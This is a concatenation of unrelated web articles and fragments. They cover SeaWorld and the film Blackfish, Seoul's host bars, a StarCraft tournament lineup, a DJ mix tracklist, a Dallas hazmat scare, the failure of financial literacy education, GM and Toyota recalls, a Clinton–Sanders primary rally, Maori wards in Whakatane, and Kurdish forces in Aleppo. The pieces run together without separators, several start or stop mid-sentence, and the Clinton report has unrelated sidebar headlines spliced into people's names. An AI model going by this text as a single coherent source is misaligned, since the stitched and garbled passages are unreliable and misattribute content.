Fresh Air's Davies also spoke with representatives of SeaWorld in a separate interview. The company denies that it treats its whales poorly.
"There's a theme and maybe a bit of exaggeration about each of these processes as described in the film [Blackfish], which I'm certainly familiar with, that really sensationalizes what we're doing, in those stories that are told from the standpoint of those who are criticizing us," says SeaWorld's vice president of veterinary services, Christopher Dold. "That sensationalism is unfounded. Every decision we make around a social setting for the whales [and] around moving a whale from one park to another one is founded in respect for the animals."
Enlarge this image toggle caption Mike Aguilera/Getty Images Mike Aguilera/Getty Images
What's more, SeaWorld says, it doesn't take calves away from their mothers.
"We don't put any animal in any stressful situation," says SeaWorld's curator of zoological operations, Chuck Tompkins.
Interview Highlights
John Hargrove, former SeaWorld trainer who wrote Beneath The Surface
On a time when Hargrove felt in danger while training the whale named Freya in France
As soon as I dove into her pool — I had another trainer throw me some fish — Freya came at me and I offered the fish to her, [but] she refused the fish and she immediately started pushing me with a closed mouth. [She pushed] into my chest, pushing me into the middle of the pool.... I was trying to deflect off her, best I could, but those animals are so incredibly agile, there's no way, so she just stayed on me.... She had me right in the middle of the pool. They do that because you're farthest away from safety, you're farthest away from land, you're farthest away from the other trainers. And then she [dragged] the entire length of the side of her body down my body, making contact.... I didn't know if she was going to hit me in the head with her [tail], which would've easily broken my neck. She did not do that, thankfully and obviously, but then she went under. And she ultimately sank down below me, she turned sideways, she opened her mouth and she put the entire width of my body in her mouth — right as I called out to the trainer that was closest to me to get ready to call paramedics. She pulled me under as soon as I said that last word....
I had seen trainers be pulled under by whales before and I had been pulled under by whales before, but I had never seen a whale grab a trainer by their torso before. |
.com/index.php?fa=PAGE.printable&pageId=340805
CDR Charles Kerchner (Ret)
Lehigh Valley PA USA
http://www.protectourliberty.org/
https://cdrkerchner.wordpress.com/
“The American people will never knowingly adopt Socialism. But under the name of liberalism they will adopt every fragment of the Socialist program, until one day America will be a Socialist nation without knowing how it happened.” Ronald Reagan alerting us to Norman Thomas’ and the socialist/progressives’ long-term stealth agenda to transform the USA from a constitutional republic into a top-down, central controlled, socialist form of government
AdvertisementsSouth Korea's rapid economic development has meant some startling changes within its conservative social structure, including the rise of so-called host bars, where wealthy women pay the equivalent of thousands of dollars for male company.
In the dim light of an underground room, a dozen perfectly groomed young men kneel in rows, calling out their names.
Muscular, with shiny boy-band hairstyles, they cram side by side into the narrow space, waiting for us to make our choice. Outside in the corridor, more of their colleagues are arriving for another night at work. It is 2am, and we are their first customers.
Hidden beneath the pavements of Seoul's ritziest postcode, Gangnam, the men at Bar 123 are part of a growing industry, which grew out of the long traditions of Japanese geisha and Korea's kisaeng houses but with one crucial difference - the customers here are all women.
Known as "host bars", these all-night drinking rooms offer female customers the chance to select and pay for male companions, sometimes at a cost of thousands of pounds a night.
One of the women I meet at Bar 123 is Minkyoung, a waitressing manager for a five-star hotel. She says she comes to host bars once or twice a month.
Minkyoung is very pretty and her clothes are immaculate. She does not look like someone who would need to pay for male company. But the allure of host bars can be subtle. Here, she says, she has more attention from her male companions, more choice and, crucially, more control.
"In regular bars the guys who drink with me have only one goal - to have a one-night stand. But I don't want that, so that's why I come here, I want to have fun," she says.
Hosts are hired by bars like this one to provide companionship and entertainment. Officially that means pouring drinks for their customers, talking and dancing with them, and singing karaoke.
Sex is not officially on offer in most host bars. That would be illegal but even Minkyoung seems happy to touch and flirt with her host, and the men here estimate that around half the customers want to pay for sex, either on or off the premises.
James has been working at Bar 123 for a couple of years. In Korean culture, he says, there is a lot of pride and negotiating a price for sex is never done explicitly. Instead, he tells me, it is all down to the host's own assessment.
"The guys here are pros - we know what we're doing," he says.
"After talking to a girl for an hour we basically know how much money she makes and what she does for a living. We've already analysed her personality and what she's willing to give."
Talking to friends would be cheaper but they don't listen as much Kim Nayu, Host bar client
James and other hosts say their customers include some of South Korea's elite, and that the money and perks on offer are unbelievable. One client James met, during his first week in the job, asked him to sign himself over to her for two years.
"She said 'let's make a contract. I've got this piece of paper and I've numbered it 1-5. Whatever you write down next to those numbers, I'll get you.'"
James says at the time he took it as a joke but since found out the same woman spent £60,000 ($97,000) on another host.
"If it happened now, I'd do it - I'd be thinking straight."
Ironically perhaps, host bars grew out of one of Korea's most entrenched and, some say, misogynist business traditions - the room salon. These are private drinking rooms where groups of men select, and are served by, attractive female hostesses.
It was the hostesses' need to let off steam after work, says veteran host Kim Dong-hee, that created the initial demand for host bars, with all-male staff.
"What these hostesses want is to [make us] do the same thing they had to do in their own workplace. These girls are forced to do things they don't want to do for money.
"I think a lot of them are in pain, and a lot feel lonely. Simply put, they want to buy our time and our bodies."
Hostesses still make up a large percentage of the customers at host bars here, but at Bar 123, for example, up to 40% of the customers on a given night are now from other walks of life.
The reasons for that growing appeal are tied up in South Korea's rapid economic rise. Within 50 years, the country shifted from post-war devastation to OECD member.
But, according to Jasper Kim, head of the Asia-Pacific Global Research Group in Seoul, something important was lost along the way.
"I think that with all this fast growth comes fast change, and Koreans just don't know how to cope with it. Increasingly, capitalism is overtaking basic societal norms that you would expect a couple of decades ago."
Jasper Kim says South Korea's notoriously long working hours have left many Korean women feeling lonely, while the country's technical advance has left many people feeling detached.
"The human element of Korean society that existed before simply doesn't exist today. People are focused on technology, people are focused on their jobs, they aren't focused on human relations anymore.
"In many ways, Korean society today kind of reminds me of 1960s society in the US, where it's on the verge of some type of cultural revolution."
The grandfather of Seoul's host bar scene, Kim Dong-hee, agrees that many of the women who come to host bars are not paying for sex but for companionship, which is why he opened a new chain of freshly-marketed outlets aimed at the mainstream market - called Red Model Bars.
Image caption Hosts at Red Model Bars cannot touch clients
"Men want to have visual pleasure and want to feel things, they're tactile. Women like to talk and to listen. And that's why I thought of opening a bar like this - a kind of dialogue bar."
Red Model Bars are different to traditional host bars in one key respect - there is a no-touching rule. Hosts sit on one side of the table, customers on the other, and no physical contact is allowed, and certainly no sex.
Perhaps as a result there is a lack of furtiveness among the people who work or drink here - the lights are low, the decor mainly dark red and the space is divided into discreet booths, but it is an open-plan room and hosts and customers are divided in each booth by a large table.
This new business model depends entirely on women paying the equivalent of hundreds or even thousands of dollars to talk to good-looking young men over a drink. Still, it seems to be working - three new branches are due to open this year.
Do these bars reflect a sick society? "I wouldn't say it's acceptable to have female customers going to male entertainment employees and paying money to get a service, but only a few women do it," says South Korea's director of food standards, Kim Gi Hwan. These bars are unregulated because the laws on adult entertainment were drawn up 50 years ago, when it was women serving male customers. "This means that bar owners can only keep records of female employees, who are controlled and monitored, while male workers are not, because officially they don't exist." The number of host bars could grow if the law was extended to cover male staff, he says, and the government could be accused of legitimising them. "It's impossible to eliminate the adult entertainment industry completely, as women's civic groups ask for."
Sitting at a table at one end of the bar was one of their regular customers, a florist called Kim Nayu. She tells me she comes here every day to meet her favourite host and discuss issues she is having at work.
The price for this slice of male attention is $487-650 (£300-400) a day.
"Talking to friends would be cheaper" she admits, "but they don't listen as much. They're busy, and in a hurry to talk about themselves. Here, people will pay attention to me and they'll listen to me."
"I spend a lot of money but it's worth it for what I get emotionally. People pay to go to see a psychologist or psychiatrist, so it's similar but less stressful."
Nayu's favourite host Sung-il says it can be hard to keep his personal and professional life separate.
"Honestly I'd be lying if I say I haven't been tempted to take things further with some customers, because we're human, we're men, but there are rules."
One of his customers talked a lot to her husband about him and when the three of them met, Sung-il and the husband became close friends.
"No one hides - the workers don't hide that they work here, and customers can be open too."
This openness is posing a new kind of challenge to South Korean society, different from the sometimes seedy underworld of traditional host bars and their hinterland of male prostitution.
By offering women a "respectable" way to challenge traditional gender roles and flex their economic power, these new bars ask questions of Korean society that are becoming harder to ignore.
Hear the full report on BBC Radio 4's Crossing Continents. You can listen via the Radio 4 website or via the Crossing Continents podcast.MLG previously announced that STBomber and IMMvp had been invited to Raleigh, and that STBomber had gladly accepted. We regret that Mvp will not be able to return to defend his title in Raleigh, and we hope to see him at future events. We can now tell you who will be joining Bomber in Raleigh. Hold onto your hats. Here is the full, confirmed list of Korean pro players:
STBomber
ZeNexCoca
STTrickster (Tester)
oGsNada
Two Terrans, one Protoss, and one Zerg. And—it bears repeating—Nada.
In addition to the four players invited as part of the League Exchange Program, we are incredibly happy to announce that MVPDongRaeGu and FnaticRain have decided to return on their own, and they each have enough Rank Points to make it into the Pools.
MLG Raleigh is just 15 days away. If you want a chance to compete alongside the best in the world, get a competitor pass now before they're all gone. And if you want to stand just feet away from the pros as all of this goes down, get yourself a spectator pass. Join us in Raleigh as the next chapter in Pro Circuit SC2 history unfolds!Aphex Twin Helps Us “Sleep Furiously”
While the eclectic electronic music of Richard D. James (or as we better know him, Aphex Twin) has appeared in numerous films over the years (Marie Antoinette for one), it is only with Gideon Koppel’s award-winning Welsh documentary, Sleep Furiously, that he has approved of an entire feature score utilizing his music. And that film premieres in the U.S. on Friday, July 29th at Cinema Village in New York City. Other cities will follow. The Aphex Twin music that appears in the film centers around “Avril 14,” a gentle piano instrumental by James that surfaces repeatedly, along with several other Aphex Twin tracks, mostly from the album Drukqs.
If you can’t get your butt down to Cinema Village, Fandor.com will be showing Sleep Furiously online for 24 hours on the same day. Additionally, the short film that was the genesis for the documentary, A Sketchbook for the Library Van, will also be available for viewing at Fandor.com on and beyond opening day. To celebrate the premiere of Sleep Furiously, Fandor is also giving away two round-trip air tickets to Wales. Anyone who signs up for Fandor or logs into the site with Facebook is automatically entered.Elements of Trance is now a part of the best electronic music portal in the world : Digital Imported!
From now on every month Fourth Thursday you will hear it @ : www.di.fm/. before i upload it here.
Next Episode:
Every Month Fourth Thursday 19:00- 20:00
on the DJ Mixes channel
Simon Templar - Elements Of Trance 028 (July 2015)
//Vinyl_Mix_Special//
TRACKLIST:
1. Patient Saint - On My Mind (Outer Limits Of Your Mix)
2. Planisphere - Moonshine
3. Buds Not Bombs - Deleido (Michael Anthony & B.Smiley Original Mix)
4. Ernesto & Bastian - Lonely People
5. Shilox - Latex (Original Mix)
6. Sonicvibe pres. Vardran- Lightform (Chunky Funky Mix)
7. Super8 & Tab - Wont Sleep Tonight (Moody Dub Mix)
8. Global Midnight - Polarstate (Martin Roth Remix)
9. Matanka feat. Sheryl Deane - Near Me (ATN Remix)
------------------------------------------------------------Dallas Fire-Rescue says a white powder found inside an envelope at the Earle Cabell Federal Building Tuesday was harmless chalk. (Published Tuesday, June 30, 2015)
Dallas Fire-Rescue says a white powder found inside an envelope at the Earle Cabell Federal Building Tuesday was harmless chalk.
DFR's hazmat team was called to the 14th floor of the building at 1100 Commerce Street just before 9:30 a.m. after the powder was reported.
Jason Evans, with DFR, said two people were isolated after coming into contact with the envelope and were evaluated by EMTs. They were OK and were released at the scene.
The rest of the building remained open and was not evacuated.
By 11 a.m. all DFR units had been cleared from the scene.
The Earle Cabell Federal Building houses district courts, bankruptcy courts, passport offices, the United States Attorney's office and Homeland Security, among other federal offices.
NBC 5's Jeff Smith contributed to this report.Financial literacy promotion may sound perfectly sensible—who wouldn’t want to teach children and adults the secrets of managing money?—but in the face of recent research it looks increasingly like a faith-based initiative.
(Photo: Andrew Rich)
Dave Cannon has made several attempts over the past decade to learn the basics of money management. The Seattle entrepreneur took a class in personal finance when he was an undergraduate in college, and another when he attended Brigham Young University’s business school. But the lessons, by and large, didn’t take. By the time he hit 30, Cannon had racked up a $12,000 credit card tab and, in tandem with his wife, another $60,000 in student loan debt.
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“It’s hard to turn an hour’s worth of education into a system you’ll use every day,” Cannon says.
But that doesn’t stop us from trying.
There is a certain line of thinking—embraced by Wall Street and politicians of both parties—that holds that one of the major causes of the Great Recession was the public’s lack of financial literacy. The root problem wasn’t just an unchecked mortgage industry or an investment sector that wagered billions on Byzantine mortgage-backed securities; the ignorance and greed of Main Street Americans, which made them easy marks, played a major role too. To fend off further economic calamity and keep families afloat, many financial literacy advocates believe our best hope is to teach people to live within their means, to carefully check mortgage documents before signing them, and to save enough money to survive a prolonged period of unemployment. All we need are the right educational tools.
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Answering the call, financial literacy initiatives, both public and private, have proliferated wildly over the past several years. There’s Sesame Street’s "For Me, For You, For Later," in which Elmo and his preschool-age fans learn the basics of spending, saving, and living within one’s means as the furry Muppet decides to forgo a $1 “stinky ball” in order to save up enough money to purchase a glittery “fantastic ball” instead. At the other end of the age spectrum, there’s Money Smart for Older Adults, a joint project of the Federal Deposit Insurance Corporation and the Consumer Financial Protection Bureau designed to teach the elderly how to avoid falling for financial scams.
The leading cause of bankruptcy is not overspending, nor lack of adequate financial planning, but the financial free fall caused by a health crisis.
In between, there are numerous online games, like Financial Football, a co-production of Visa and the NFL that quizzes players about things like compound interest and identity theft as they make their way toward a virtual end zone. There are programs for children and teens peddled by personal finance gurus like Dave Ramsey. And there are untold numbers of special school curricula, many created by financial services outfits like Capital One or your local credit union, which offer education with a side of brand awareness. (Banks relish the opportunity to get their names in front of future customers and their parents in a warm and virtuous context.)
Government, too, stands squarely behind these efforts. More than a dozen states now require that their students take a class in personal finance before they can receive a high school degree. And the Obama administration—acting under the terms of the Dodd-Frank financial reform law—has set up a federal Office of Financial Education housed in the Consumer Financial Protection Bureau. “Financial education supports not only individual well-being, but also the economic health of our nation,” said Federal Reserve Chairman Ben Bernanke in a speech last year. In case that doesn’t make clear what’s supposedly riding on this effort, in 2012 the U.S. Senate held a hearing titled “Financial Literacy: Empowering Americans to Prevent the Next Financial Crisis.”
There’s only one problem: mounting, resounding evidence shows that financial literacy education doesn’t work. Dave Cannon’s experience is not the exception but the norm. “We have this idea that if we teach kids good habits they will use them. But it’s just not true,” explains John Lynch, a consumer psychologist at the University of Colorado’s Leeds School of Business. Not all behaviors are governed by rational intentions. “A kid in the backseat of a car,” Lynch says, “is not thinking about Sex Ed.”
FINANCIAL LITERACY PROMOTION MAY sound perfectly sensible—who wouldn’t want to teach children and adults the secrets of managing money?—but in the face of recent research it looks increasingly like a faith-based initiative. Consider one recent paper, scheduled for publication in a forthcoming issue of the journal Management Science. In a meta-analysis, Lynch and the marketing experts Daniel Fernandes and Richard Netemeyer compiled the results of more than 200 studies of financial literacy programs, adjusting for subjects’ family background and personality traits that had been ignored in the previous research. The result? Financial education has a “negligible” impact on subsequent financial decisions and behavior. Within 20 months, almost everyone who has taken a financial literacy class has forgotten what they learned.
These findings echo the results of another recent working paper, by the economists Shawn Cole at the Harvard Business School, Anna Paulson at the Federal Reserve Bank of Chicago, and Gauri Kartini Shastry at Wellesley College, on the efficacy of state laws requiring financial literacy to be taught in schools. Their conclusion: “State mandates requiring high school students to take personal finance courses have no effect on savings or investment behavior.”
Another study, from 2009, tested the financial literacy of recent high school graduates who had taken a highly regarded personal finance class. They did no better than graduates who had not taken the class. One of the study’s authors, the economist Lewis Mandell, was a founder of the modern financial literacy movement, but the evidence has prompted him to turn his back on the mainstream financial literacy paradigm. “Financial education doesn’t work when it’s given in advance of when the consumer needs it,” he says flatly.
Reluctant to give up entirely on educating consumers, a number of scholars—including Lynch and Mandell—are now pushing for a model of financial literacy promotion known as just-in-time education. Instead of teaching personal finance in schools, the idea goes, a combination of education and coaching should be offered at the point of sale, or when people have reached a point in their lives when they actually need a given financial service. Don’t offer retirement education in high school or even college. Wait until someone starts a new job and needs to understand and manage a 401(k).
It sounds like common sense. But even just-in-time education has its problems. If counseling is delivered at the point of sale, for instance, the potential for conflicts of interest is huge. Where does education end and marketing begin? With no credentialing or oversight requirements in the financial literacy world, it’s up to the consumer—the one in need of enlightenment, remember—to determine whether a lesson objectively and thoroughly covers the most important bases. Take, for example, Ally Financial, a company that offers car loans and other products. It has put together an entire online education site called Ally Wallet Wise. But the site makes no mention of subprime auto loans, does not say how to determine whether you are being offered one, and doesn’t help users find out what an optimal interest rate might be.
In addition, the very notion that there is some moment that’s “just in time” for many financial decisions may be a mirage. Consider retirement savings for a moment. In our current, do-it-yourself model of financial planning, built on instruments like the 401(k), consumers must begin saving early in life to maximize the money they will have on hand at the end of their careers. But that often doesn’t happen. People stay in school until their late 20s, or, faced with competing demands on their funds, come to believe they can’t afford to put money away for some ill-defined future need. They make bad decisions for what seem like good reasons. If a counselor comes along at some point in this process, it’s likely not going to be “just in time,” but either too early to make an impression—or too late to make a significant difference.
Finally, it’s worth noting that standards of good advice have a way of shifting over time in a way that, say, basic facts of history or math do not. It used to be that people saving for retirement were told to set aside 10 percent of their salary. Now, many experts suggest 15 or even 20 percent.
You can see the promise and peril of financial literacy education play out in Dave Cannon’s life. The information presented in his money classes was “a blur,” he now says. “When we were in college, we were just surviving. There was not much use for financial principles.” So he forgot those principles more or less immediately.
What he does recall is that some of the classes were obviously lightly disguised marketing ploys. With a laugh, he recalls how one of his instructors, a seller of financial services, treated class as an opportunity for gathering leads. “A lot of financial advisers give good trainings,” Cannon says, “and then they follow up and try to sell you more expensive stuff.”
Cannon finally did start to take some financial principles to heart when he and his wife recently decided they wanted to buy a home. They went to a mortgage broker who sat down with them, explained that their debt to income ratio was too high, and helped them work out a budget—one that allowed them to simultaneously pay down their credit card debt while saving more aggressively for a down payment. They’ve since cut their credit card debt in half and have begun looking for homes. So just-in-time counseling works? Cannon says yes. “I wasn’t really ready to learn how to make a budget or build savings 'til we had goals,” Cannon told me. “The first behavior I needed to learn to change was to stop spending so much damn money.”
A FEW MONTHS AGO, a website called Low Pay Is Not OK brought a burst of national attention to a financial literacy initiative created by Visa and McDonald’s, designed to teach low-wage McDonald’s employees “practical money skills for life.” The online program included a suggested monthly budget for a typical employee that left room for $800 of “spending money” after expenses. The budget assumed that this employee would take a second job to bring in extra money, while not spending a penny on child care or heat, and spending a laughable $20 a month on health insurance. The intended moral of the budgeting exercise: “You can have almost anything you want, as long as you plan ahead and save for it.”
The sheer cluelessness of this exercise caused uproar on the Internet, and no wonder. The United States is an increasingly class-stratified country, where the engines of mobility appear to have stalled. Minimum wage jobs lead to other minimum wage jobs. Salaries are stagnant. College tuition has soared at rates well beyond that of inflation, forcing students to turn to loans to get by, which in turn leaves them servicing massive amounts of debt in their 20s, a time when financial literacy classes—citing the power of compound interest—say they should save. The leading cause of bankruptcy is not overspending, nor lack of adequate financial planning, but the financial free fall caused by a health crisis.
Dave Cannon may attribute his financial troubles to a lack of discipline and poor money management, but when I asked him how his credit card debt grew, he told me it was medical bills. “My family wasn’t in a position to help,” he offered by way of explanation. No amount of financial literacy can change a situation like that.
Personal shortcomings and mistakes in managing money can indeed worsen the financial situation for many of us, but even these may be more a function of stress and scarcity than ignorance. Recent research by the behavioral economists Sendhil Mullainathan and Eldar Shafir has shown that perfectly intelligent people become much less so when they are experiencing a shortage of money, time, or attention. They develop a kind of tunnel vision that erodes the long-term thinking essential to financial planning. (Indian sugarcane farmers, for instance, perform worse on cognitive tests before a harvest, when they are cash poor, than they do after they’ve sold a crop.)
Trying to take some of these realities into account, a small group of educators is fundamentally rethinking the concept of financial literacy. Chris Arthur is an eighth grade teacher and a Ph.D. candidate in education at York University in Toronto. When he taught the subject in the past, he exposed his students to the Great Piggy Bank Adventure, a traditional financial literacy game produced by T. Rowe Price and Disney, and introduced them to the business concepts promoted by Junior Achievement, the children’s entrepreneurship organization. But last year he also made them play an online game called Spent, which is not a financial literacy product at all.
Spent was designed a few years ago for the North Carolina charity Urban Ministries of Durham. The concept is simple. The gamer assumes the role of a low-wage worker—like, say, someone at McDonald’s—attempting to get by until the end of the month. Players are faced with a relentless series of decisions and tradeoffs, and almost anything—a gift for a child’s birthday, a plea from a family member to help pay for needed medication—can send them into a financial downward spiral.
Needless to say, it’s just about impossible to achieve anything resembling financial success in the game of Spent. And that’s the point. “It challenges the dominant framing of financial insecurity as wholly a problem of ignorance and irresponsible consumer behavior,” Arthur told me.
Spent, like the controversy that ended up swirling around McDonald’s suggested employee budget, points to an oft-buried truth. The financial literacy movement presumes that with a modicum of education, we can all be equal in the financial and economic marketplace. But that’s a false promise. Financial literacy is, first of all, no substitute for financial regulation. It’s also an ultimately ineffective personal solution to a systemic political and economic problem. And even McDonald’s knows it. As I was reporting this piece, the Low Pay is Not OK website released a recording of a McDonald’s employee calling the firm’s help line for financial advice, saying she could not make ends meet on her salary. The counselor she spoke with suggested she locate a local food pantry and apply for food stamps and Medicaid.
This post originally appeared in the January/February 2014 issueofPacific Standard as "Crash Course." For more, consider subscribing to our bimonthly print magazine.On Monday, General Motors announced that it would take a $300 million charge during the first quarter to reflect the cost of recalls for deadly ignition defects on the Chevrolet Cobalt and other problems. GM also announced three new recalls for another 1.5 million more vehicles, including sport utility vehicles, and Cadillac sedans, for a variety of potential defects.
The latest moves come after some difficult weeks for the largest U.S. carmaker, which is under scrutiny from Congress, the National Highway Traffic Safety Administration, safety advocates and numerous lawyers for recalls involving 1.6 million vehicles worldwide, including the small Cobalt, that date back a decade or more. The situation has raised questions why GM's new chief executive, Mary Barra, and other senior management did not know about or address the defects sooner. Twelve people died in accidents involving the faulty ignition switches, although GM says no injuries have been reported in the latest set of recalls.
In a statement, Barra said she had asked her executives to give added attention to their pending reviews of GM products, "bring them forward and resolve them quickly," reflecting the automaker's eagerness to get past the furor. GM also released a video of Barra speaking directly to employees.
GM's predicament is the same kind of uproar that surround Toyota five years ago. In 2009 and 2010, the Japanese' carmaker's sterling reputation was battered by millions of recalls involving sudden acceleration in a variety of its vehicles. Like GM, Toyota was in the spotlight for months, as investigators and trial lawyers delved into its production methods and corporate culture. While the crisis ended after about half a year, Toyota is still mopping up the damage.
The 2009-10 experience was a historic turning point for Toyota, coming not long after it passed GM to become the world's biggest carmaker. Used to maneuvering with an aura of opaqueness, Toyota had little preparation for the kind of scrutiny that came its way.
It was especially trying for Toyoda's new chief executive, Akio Toyoda, the grandson of the carmaker's founder. Toyota initially resisted efforts to have Toyoda testify before Congress, saying that the matter could be handled by its North American operations. But as it emerged that the decision making process for handling the recalls rested in Japan, Toyoda flew to Washington in February 2010 to appear before the House Committee On Oversight and Government Reform, one of three panels that opened investigations in the Toyota recalls.
Flanked by a translator and a senior North American executive, Yoshi Inaba, Toyoda repeatedly apologized for the situation. “I extend my condolences from the deepest part of my heart,” Toyoda said. He showed even more remorse later at an event with Toyota employees and dealers, when he choked up with emotion in thanking them for their support and again expressed his apologies. Asked what he would tell President Obama, Toyoda said, “Toyota cars are safe.”
At the time, some members of Congress questioned whether Toyota was getting extra scrutiny in the wake of the federal GM bailout. Federal officials disagreed, noting that there had been recalls of more than 23 million automobiles from many different car companies.
As GM's time in the spotlight continues, it's likely that Barra, too, will have to testify before Congress. Most likely, she can hope for the settled waters that soon surrounded Toyota. After a series of Congressional hearings in winter 2010, public interest in the Toyota recall situation began to wane.
By the New York International Auto Show in late March 2010, there was little mention of the recalls, which at the time totaled 6 million, and company executives were tentatively expressing optimism that the company could soon return to normal.
But as with the aging Cobalts, Toyota's quality issues still haunt it. Last fall, Consumer Reports removed the Toyota Camry from its recommended list, along with the the RAV-4, the industry's original crossover vehicle, and the Prius-V. The step took place because Camry and the other vehicles failed a new test from the Insurance Institute For Highway Safety.
And last month, neither a Toyota nor a GM vehicle won the top spot from the magazine in its annual car ratings. That went to the Tesla Model S, which is built in a factory in Fremont, California, that was once home to a joint venture between Toyota and GM.Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE in a fiery campaign speech on the eve of the New York primary said she is "appalled" at Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE, accusing her Democratic presidential rival of abandoning abortion rights advocates.
In her most pointed strike against Sanders on the issue, the Democratic front-runner linked the Vermont senator to Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE.
"When Trump said what he said about punishing women [for having abortions], I was appalled," Clinton told the crowd of Democratic supporters on Monday afternoon in Manhattan.
"That is a core issue and when my opponent in this primary said it was a distraction, that he wanted to talk about the real issues, I was appalled again."
The crowd began booing as soon as Clinton mentioned Sanders's name.
The Democratic primary contest - which started in the most civil manner imaginable, with Sanders refusing to attack Clinton over the FBI investigation of her emails - has turned nastier in recent weeks.
The former secretary of State angered Sanders when she went on MSNBC's "Morning Joe" program recently and raised doubts about whether the Vermont senator is prepared to be president. Sanders then ratcheted up the rhetoric by declaring that Clinton is unqualified to be president due to her acceptance of special interest money.
Sanders has since walked back those qualification comments. But he's been sharpening his attacks on Clinton's ties to Wall Street, knowing that he needs to begin winning states by large margins to close the delegate gap.
He has closed the polling gap nationally, but Clinton is still favored to win Tuesday's New York primary, where she leads Sanders by 12 points in the latest RealClearPolitics average.
During Monday's rally, Clinton also hit Sanders over gun control - the main issue on which she has tacked to his left and has been attacking him throughout the primary campaign.
Sanders still believes that gun makers and sellers should not be held liable when weapons they legally sell are used in homicides. Clinton disagrees and has portrayed Sanders as a tool of the NRA - a characterization he angrily disputes, given the gun lobby has given Sanders a D-Minus rating.
"I couldn't believe it when Senator Sanders said the parents of the Sandy Hook children did not deserve their day in court," Clinton said in Monday's rally.
The crowd booed again.
"He voted for the bill that gave special protections, immunity from liability, to the gun makers and sellers," Clinton added.
"I was in the Senate at the same time, so was Barack Obama Barack Hussein ObamaWith low birth rate, America needs future migrants 4 ways Hillary looms over the 2020 race Obama goes viral after sporting black bomber jacket with '44' on sleeve at basketball game MORE. I voted against it. Barack Obama voted against it. Bernie Sanders voted for it."
"This has to be a voting issue."Whakatane District Council is looking at introducing Maori wards before the next local government elections in October 2019.
The council’s Policy committee is looking at introducing Maori wards as a way of promoting greater Maori involvement in decision making.
The committee received a report on electoral arrangements at its meeting last week, with councillors supporting the retention of a ‘first past the post’ (FPP) system in 2019, in preference to the Single Transferable Vote (STV) system.
Councillors also agreed to pursue further investigations on the possibility of introducing Maori Wards and gather feedback from Iwi following a wide-ranging discussion on ways to promote greater Māori involvement in decision-making, says Whakatane District Council general manager planning, regulatory and corporate services, David Bewley.
The district council will seek comments directly from key stakeholders and will also promote feedback via its social media channels. A report summarising the viewpoints presented will be presented to the Policy Committee later this year.
The Bay of Plenty Regional council has three Maori constituencies since 2001, the result of a request by Maori for direct representation. It took a law change and strong public support.
Tauranga City Councillors last knocked back a Maori request for council representation in November 2014, after being requested to do so by the city council’s Tangata Whenua Committee. The next request will be made in 2020.
At the time Tauranga Mayor Stuart Crosby says current good relations are a reason why there shouldn’t be a Maori seat, and he believes it would damage the current relationship and represent a “big step backwards”.
Councils are required under the Local Government Act to establish and maintain processes providing opportunities for Maori to contribute to the council’s decision making processes.
2014 was also the year then New Plymouth mayor Andrew Judd tried to introduce a Maori ward seat in New Plymouth. It created a community backlash and Andrew retired from politics in 2016.
Andrew’s call for a Maori ward was supported by then Bay of Plenty Regional Councillor Doug Owens who claims opposition to them is ‘political prejudice’.
In an open letter published at the time he says Maori wards had become an issue of political prejudice as parties vie for the ‘prejudice vote against Maori’ and their declared and accepted right to self-determination, as a culture and an indigenous people.
“The essential advantage of direct representation via a ward system is the pragmatic solution to a profound political problem, that being an indifferent electorate having no interest in Maori |
the Syrian army in its move to retake the city.
The Kurdish forces and rebels have clashed several times in Aleppo during the civil war around the strategically important Sheikh Maqsoud area which is controlled by the Kurds.
But in recent days, as the Syrian government forces press their advance on the east, Kurdish fighters have taken over areas abandoned by rebel forces, and allowed civilians trapped during months of siege to cross over to their territory.
“What we see is the regime and the YPG collaborating in Aleppo. They may not be fighting directly together but they are working together,” said Aleppo-based journalist Zohair al-Shimale.
“The Kurdish forces came in from Sheikh Maqsoud and the regime moved in from Haydariyya. They met in the middle. [The Kurds] helped the regime advance."
The Sheikh Maqsoud district has been under Kurdish control for many months, with serious clashes taking place between FSA-aligned rebels and the YPG forces.
Syria's main opposition National Coalition and the Syrian government oppose Kurdish demands for a federal state and full autonomy for Kurdish areas.
Following the recent government offensive, the YPG has taken over several new areas - Bustan al-Basha, Baiedeen, Hallak and Ain al-Tal came under their control on Monday.
Photos showing the Syrian national flag and the yellow YPG flag raised on top of buildings in Bustan al-Basha were circulated heavily across social media, suggesting that the Kurdish-led forces and Syrian army were in fact fighting together.
SAA + YPG joint control of captured positions. pic.twitter.com/Y0X5ODdz49 — Military Advisor (@miladvisor) November 28, 2016
The YPG, however, said the photos were fake, and denied any cooperation with the Syrian army. However sources on the ground believe that the YPG has helped weaken rebel groups in Aleppo.
“Clashes that started a week ago between rebels and the regime developed into new ones with the YPG,” said Roj Mousa, a Sheikh Maqsoud-based journalist.
“The rebels were being attacked by the Syrian army on one side while clashing with the YPG near Sheikh Maqsoud on the other,” he added, explaining that the rebel fighters withdrew to reduce their losses after realising they could not fight on two fronts simultaneously.
Speaking to a Free Syrian Army fighter in Aleppo, MEE contributor Shimale said that as Kurdish forces advanced, rebel fighters were left no choice but to surrender.
“Regime air strikes were very heavy as the Kurds were moving in. The rebels surrendered because they had nowhere to go.”
'Saving civilians'
However, according to the the Syrian Democratic Forces (SDF), the umbrella group under which the YPG is fighting in northern Syria, Kurdish factions only moved into new areas in Aleppo to protect residents and help civilians reach safe zones under their protection.
In a statement published on Monday, the SDF announced: “Our priority has been to protect residents in Sheikh Maqsoud and across eastern Aleppo. As attacks from the regime increased we moved into Bustan Basha and Hallak and established a humanitarian corridor to help civilians move towards safe areas.”
Nasir Haji Mansour, an adviser to the SDF's general command, told MEE that clashes between the rebels and the Syrian army led rebel groups to withdraw from several districts - leaving civilians unprotected.
“About seven or eight neighbourhoods were left empty when the rebels withdrew because of clashes with the regime,” said Mansour. "It was only then that the YPG moved in to these neighbourhoods to protect the residents and help them reach safety."
Mansour denied that the move had been planned in coordination with the Syrian army, saying the “YPG came in as a reaction to the escalation of events and clashes”.
